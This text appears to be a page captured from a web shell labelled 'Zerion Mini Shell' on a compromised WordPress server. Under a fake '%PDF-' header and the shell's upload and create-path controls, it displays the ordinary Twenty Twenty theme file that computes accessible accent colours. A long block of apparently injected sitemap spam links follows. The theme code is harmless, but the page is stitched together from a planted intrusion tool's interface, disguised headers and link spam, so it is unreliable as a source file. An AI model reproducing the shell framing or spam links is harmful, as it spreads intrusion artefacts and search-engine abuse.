%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/themes/twentytwenty/assets/js/
Upload File :
Create Path :
Current File : //dom645759/wp-content/themes/twentytwenty/assets/js/color-calculations.js

/* global Color */
/* eslint no-unused-vars: off */
/**
 * Color Calculations.
 *
 * @since Twenty Twenty 1.0
 *
 * @param {string} backgroundColor - The background color.
 * @param {number} accentHue - The hue for our accent color.
 *
 * @return {Object} - this
 */
function _twentyTwentyColor( backgroundColor, accentHue ) {
	// Set the object properties.
	this.backgroundColor = backgroundColor;
	this.accentHue = accentHue;
	this.bgColorObj = new Color( backgroundColor );
	this.textColorObj = this.bgColorObj.getMaxContrastColor();
	this.textColor = this.textColorObj.toCSS();
	this.isDark = 0.5 > this.bgColorObj.toLuminosity();
	this.isLight = ! this.isDark;

	// Return the object.
	return this;
}

/**
 * Builds an array of Color objects based on the accent hue.
 * For improved performance we only build half the array
 * depending on dark/light background-color.
 *
 * @since Twenty Twenty 1.0
 *
 * @return {Object} - this
 */
_twentyTwentyColor.prototype.setAccentColorsArray = function() {
	var self = this,
		minSaturation = 65,
		maxSaturation = 100,
		minLightness = 30,
		maxLightness = 80,
		stepSaturation = 2,
		stepLightness = 2,
		pushColor = function() {
			var colorObj = new Color( {
					h: self.accentHue,
					s: s,
					l: l
				} ),
				item,
				/**
				 * Gets a score for this color in contrast to its background color and surrounding text.
				 *
				 * @since Twenty Twenty 1.0
				 *
				 * @param {number} contrastBackground - WCAG contrast with the background color.
				 * @param {number} contrastSurroundingText - WCAG contrast with surrounding text.
				 * @return {number} - 0 is best, higher numbers have bigger difference with the desired scores.
				 */
				getScore = function( contrastBackground, contrastSurroundingText ) {
					var diffBackground = ( 7 >= contrastBackground ) ? 0 : 7 - contrastBackground,
						diffSurroundingText = ( 3 >= contrastSurroundingText ) ? 0 : 3 - contrastSurroundingText;

					return diffBackground + diffSurroundingText;
				};

			item = {
				color: colorObj,
				contrastBackground: colorObj.getDistanceLuminosityFrom( self.bgColorObj ),
				contrastText: colorObj.getDistanceLuminosityFrom( self.textColorObj )
			};

			// Check a minimum of 4.5:1 contrast with the background and 3:1 with surrounding text.
			if ( 4.5 > item.contrastBackground || 3 > item.contrastText ) {
				return;
			}

			// Get a score for this color by multiplying the 2 contrasts.
			// We'll use that to sort the array.
			item.score = getScore( item.contrastBackground, item.contrastText );

			self.accentColorsArray.push( item );
		},
		s, l, aaa;

	this.accentColorsArray = [];

	// We're using `for` loops here because they perform marginally better than other loops.
	for ( s = minSaturation; s <= maxSaturation; s += stepSaturation ) {
		for ( l = minLightness; l <= maxLightness; l += stepLightness ) {
			pushColor( s, l );
		}
	}

	// Check if we have colors that are AAA compliant.
	aaa = this.accentColorsArray.filter( function( color ) {
		return 7 <= color.contrastBackground;
	} );

	// If we have AAA-compliant colors, always prefer them.
	if ( aaa.length ) {
		this.accentColorsArray = aaa;
	}

	// Sort colors by contrast.
	this.accentColorsArray.sort( function( a, b ) {
		return a.score - b.score;
	} );
	return this;
};

/**
 * Gets accessible text-color.
 *
 * @since Twenty Twenty 1.0
 *
 * @return {Color} - Returns a Color object.
 */
_twentyTwentyColor.prototype.getTextColor = function() {
	return this.textColor;
};

/**
 * Gets accessible color for the defined accent-hue and background-color.
 *
 * @since Twenty Twenty 1.0
 *
 * @return {Color} - Returns a Color object.
 */
_twentyTwentyColor.prototype.getAccentColor = function() {
	var fallback;

	// If we have colors returns the 1st one - it has the highest score.
	if ( this.accentColorsArray[0] ) {
		return this.accentColorsArray[0].color;
	}

	// Fallback.
	fallback = new Color( 'hsl(' + this.accentHue + ',75%,50%)' );
	return fallback.getReadableContrastingColor( this.bgColorObj, 4.5 );
};

/**
 * Returns a new instance of the _twentyTwentyColor object.
 *
 * @since Twenty Twenty 1.0
 *
 * @param {string} backgroundColor - The background color.
 * @param {number} accentHue - The hue for our accent color.
 * @return {Object} - this
 */
function twentyTwentyColor( backgroundColor, accentHue ) {// jshint ignore:line
	var color = new _twentyTwentyColor( backgroundColor, accentHue );
	color.setAccentColorsArray();
	return color;
}

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap431.xml 2026-12-02 https://louisvillegop.com/sitemap647.xml 2026-12-02 https://louisvillegop.com/sitemap32.xml 2026-12-02 https://louisvillegop.com/sitemap727.xml 2026-12-02 https://louisvillegop.com/sitemap883.xml 2026-12-02 https://louisvillegop.com/sitemap312.xml 2026-12-02 https://louisvillegop.com/sitemap712.xml 2026-12-02 https://louisvillegop.com/sitemap281.xml 2026-12-02 https://louisvillegop.com/sitemap454.xml 2026-12-02 https://louisvillegop.com/sitemap315.xml 2026-12-02 https://louisvillegop.com/sitemap381.xml 2026-12-02 https://louisvillegop.com/sitemap453.xml 2026-12-02 https://louisvillegop.com/sitemap935.xml 2026-12-02 https://louisvillegop.com/sitemap906.xml 2026-12-02 https://louisvillegop.com/sitemap207.xml 2026-12-02 https://louisvillegop.com/sitemap640.xml 2026-12-02 https://louisvillegop.com/sitemap517.xml 2026-12-02 https://louisvillegop.com/sitemap880.xml 2026-12-02 https://louisvillegop.com/sitemap162.xml 2026-12-02 https://louisvillegop.com/sitemap320.xml 2026-12-02 https://louisvillegop.com/sitemap126.xml 2026-12-02 https://louisvillegop.com/sitemap170.xml 2026-12-02 https://louisvillegop.com/sitemap573.xml 2026-12-02 https://louisvillegop.com/sitemap817.xml 2026-12-02 https://louisvillegop.com/sitemap285.xml 2026-12-02 https://louisvillegop.com/sitemap421.xml 2026-12-02 https://louisvillegop.com/sitemap686.xml 2026-12-02 https://louisvillegop.com/sitemap775.xml 2026-12-02 https://louisvillegop.com/sitemap946.xml 2026-12-02 https://louisvillegop.com/sitemap371.xml 2026-12-02 https://louisvillegop.com/sitemap463.xml 2026-12-02 https://louisvillegop.com/sitemap355.xml 2026-12-02 https://louisvillegop.com/sitemap209.xml 2026-12-02 https://louisvillegop.com/sitemap882.xml 2026-12-02 https://louisvillegop.com/sitemap694.xml 2026-12-02 https://louisvillegop.com/sitemap82.xml 2026-12-02 https://louisvillegop.com/sitemap515.xml 2026-12-02 https://louisvillegop.com/sitemap264.xml 2026-12-02 https://louisvillegop.com/sitemap979.xml 2026-12-02 https://louisvillegop.com/sitemap212.xml 2026-12-02 https://louisvillegop.com/sitemap144.xml 2026-12-02 https://louisvillegop.com/sitemap903.xml 2026-12-02 https://louisvillegop.com/sitemap756.xml 2026-12-02 https://louisvillegop.com/sitemap239.xml 2026-12-02 https://louisvillegop.com/sitemap284.xml 2026-12-02 https://louisvillegop.com/sitemap676.xml 2026-12-02 https://louisvillegop.com/sitemap535.xml 2026-12-02 https://louisvillegop.com/sitemap937.xml 2026-12-02 https://louisvillegop.com/sitemap211.xml 2026-12-02 https://louisvillegop.com/sitemap721.xml 2026-12-02 https://louisvillegop.com/sitemap19.xml 2026-12-02 https://louisvillegop.com/sitemap692.xml 2026-12-02 https://louisvillegop.com/sitemap963.xml 2026-12-02 https://louisvillegop.com/sitemap327.xml 2026-12-02 https://louisvillegop.com/sitemap120.xml 2026-12-02 https://louisvillegop.com/sitemap432.xml 2026-12-02 https://louisvillegop.com/sitemap972.xml 2026-12-02 https://louisvillegop.com/sitemap745.xml 2026-12-02 https://louisvillegop.com/sitemap221.xml 2026-12-02 https://louisvillegop.com/sitemap871.xml 2026-12-02 https://louisvillegop.com/sitemap325.xml 2026-12-02 https://louisvillegop.com/sitemap372.xml 2026-12-02 https://louisvillegop.com/sitemap520.xml 2026-12-02 https://louisvillegop.com/sitemap618.xml 2026-12-02 https://louisvillegop.com/sitemap244.xml 2026-12-02 https://louisvillegop.com/sitemap291.xml 2026-12-02 https://louisvillegop.com/sitemap361.xml 2026-12-02 https://louisvillegop.com/sitemap561.xml 2026-12-02 https://louisvillegop.com/sitemap546.xml 2026-12-02 https://louisvillegop.com/sitemap114.xml 2026-12-02